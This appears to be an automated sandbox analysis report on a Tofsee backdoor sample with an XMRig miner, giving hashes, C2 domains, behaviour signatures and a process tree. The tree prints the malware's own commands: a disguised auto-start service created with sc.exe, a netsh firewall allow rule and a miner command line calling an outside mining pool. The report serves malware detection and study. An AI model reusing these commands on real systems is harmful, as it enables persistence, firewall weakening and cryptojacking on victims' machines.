Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-03-2023 01:43

General

  • Target

    941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe

  • Size

    250KB

  • MD5

    da5e4cbc3f49077078c72d5bc35d2490

  • SHA1

    902ec3ac8390ededea2c9bcf3ec34a2d3394128f

  • SHA256

    941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c

  • SHA512

    0364ac8c2c2255c2c241739bd5a002a6542eec74613cea520e374a5fcccfd56576fccd40f22ffb2fd2c4955a51c815346e448562ebf2ab0d441072b83ea1c120

  • SSDEEP

    3072:IbFEBYrR6uEi8dkShLWlzECOmVcuGRrPVli5NuosnGboLj/8sj5qrSBKni:IBOYWiEkShLW9E/mVcjRhw5w51QrSBh

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe
    "C:\Users\Admin\AppData\Local\Temp\941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3004
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vtfsrthl\
      2⤵
        PID:380
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\adwhhqrr.exe" C:\Windows\SysWOW64\vtfsrthl\
        2⤵
          PID:2452
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vtfsrthl binPath= "C:\Windows\SysWOW64\vtfsrthl\adwhhqrr.exe /d\"C:\Users\Admin\AppData\Local\Temp\941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vtfsrthl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vtfsrthl
          2⤵
          • Launches sc.exe
          PID:5048
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5044
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 1200
          2⤵
          • Program crash
          PID:1160
      • C:\Windows\SysWOW64\vtfsrthl\adwhhqrr.exe
        C:\Windows\SysWOW64\vtfsrthl\adwhhqrr.exe /d"C:\Users\Admin\AppData\Local\Temp\941014493d71c401467dbfaa6e177ee7ee07486288350c6d45d1d2e9c3abec6c.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1476
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4088
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:680
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 512
          2⤵
          • Program crash
          PID:3764
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3004 -ip 3004
        1⤵
          PID:4604
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1476 -ip 1476
          1⤵
            PID:876

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\adwhhqrr.exe

            Filesize

            10.8MB

            MD5

            ab780d5e580c36fbb44cf29f4f9feaa2

            SHA1

            d18d4835e5ad2034d371d56402c2b241d2a2c538

            SHA256

            48b103f11a67866386da9cb01191671a65eaf549a1e7d4f9b6d2749ff6c91032

            SHA512

            c45142de079eefab29201c7b7814086ee38261198998f9d2f705f5296388dbae1d57464934fde23fc488b54175d9639d0bf0b708888ddbf73dd11ed4da89c4fe

          • C:\Windows\SysWOW64\vtfsrthl\adwhhqrr.exe

            Filesize

            10.8MB

            MD5

            ab780d5e580c36fbb44cf29f4f9feaa2

            SHA1

            d18d4835e5ad2034d371d56402c2b241d2a2c538

            SHA256

            48b103f11a67866386da9cb01191671a65eaf549a1e7d4f9b6d2749ff6c91032

            SHA512

            c45142de079eefab29201c7b7814086ee38261198998f9d2f705f5296388dbae1d57464934fde23fc488b54175d9639d0bf0b708888ddbf73dd11ed4da89c4fe

          • memory/680-195-0x0000000000A90000-0x0000000000B81000-memory.dmp

            Filesize

            964KB

          • memory/680-199-0x0000000000A90000-0x0000000000B81000-memory.dmp

            Filesize

            964KB

          • memory/680-198-0x0000000000A90000-0x0000000000B81000-memory.dmp

            Filesize

            964KB

          • memory/680-197-0x0000000000A90000-0x0000000000B81000-memory.dmp

            Filesize

            964KB

          • memory/680-196-0x0000000000A90000-0x0000000000B81000-memory.dmp

            Filesize

            964KB

          • memory/680-194-0x0000000000A90000-0x0000000000B81000-memory.dmp

            Filesize

            964KB

          • memory/680-193-0x0000000000A90000-0x0000000000B81000-memory.dmp

            Filesize

            964KB

          • memory/680-188-0x0000000000A90000-0x0000000000B81000-memory.dmp

            Filesize

            964KB

          • memory/1476-143-0x0000000000400000-0x0000000000702000-memory.dmp

            Filesize

            3.0MB

          • memory/3004-144-0x0000000000400000-0x0000000000702000-memory.dmp

            Filesize

            3.0MB

          • memory/3004-134-0x0000000000790000-0x00000000007A3000-memory.dmp

            Filesize

            76KB

          • memory/4088-167-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-172-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-160-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-161-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-162-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-164-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-163-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-166-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-165-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-156-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-169-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-168-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-170-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-171-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-173-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-159-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-174-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-175-0x0000000002710000-0x0000000002720000-memory.dmp

            Filesize

            64KB

          • memory/4088-176-0x00000000029E0000-0x00000000029E5000-memory.dmp

            Filesize

            20KB

          • memory/4088-179-0x00000000029E0000-0x00000000029E5000-memory.dmp

            Filesize

            20KB

          • memory/4088-180-0x0000000007400000-0x000000000780B000-memory.dmp

            Filesize

            4.0MB

          • memory/4088-183-0x0000000007400000-0x000000000780B000-memory.dmp

            Filesize

            4.0MB

          • memory/4088-184-0x00000000029F0000-0x00000000029F7000-memory.dmp

            Filesize

            28KB

          • memory/4088-153-0x0000000001BF0000-0x0000000001BF6000-memory.dmp

            Filesize

            24KB

          • memory/4088-152-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/4088-149-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/4088-148-0x0000000000880000-0x0000000000895000-memory.dmp

            Filesize

            84KB

          • memory/4088-146-0x0000000000880000-0x0000000000895000-memory.dmp

            Filesize

            84KB

          • memory/4088-145-0x0000000000880000-0x0000000000895000-memory.dmp

            Filesize

            84KB

          • memory/4088-142-0x0000000000880000-0x0000000000895000-memory.dmp

            Filesize

            84KB

          • memory/4088-139-0x0000000000880000-0x0000000000895000-memory.dmp

            Filesize

            84KB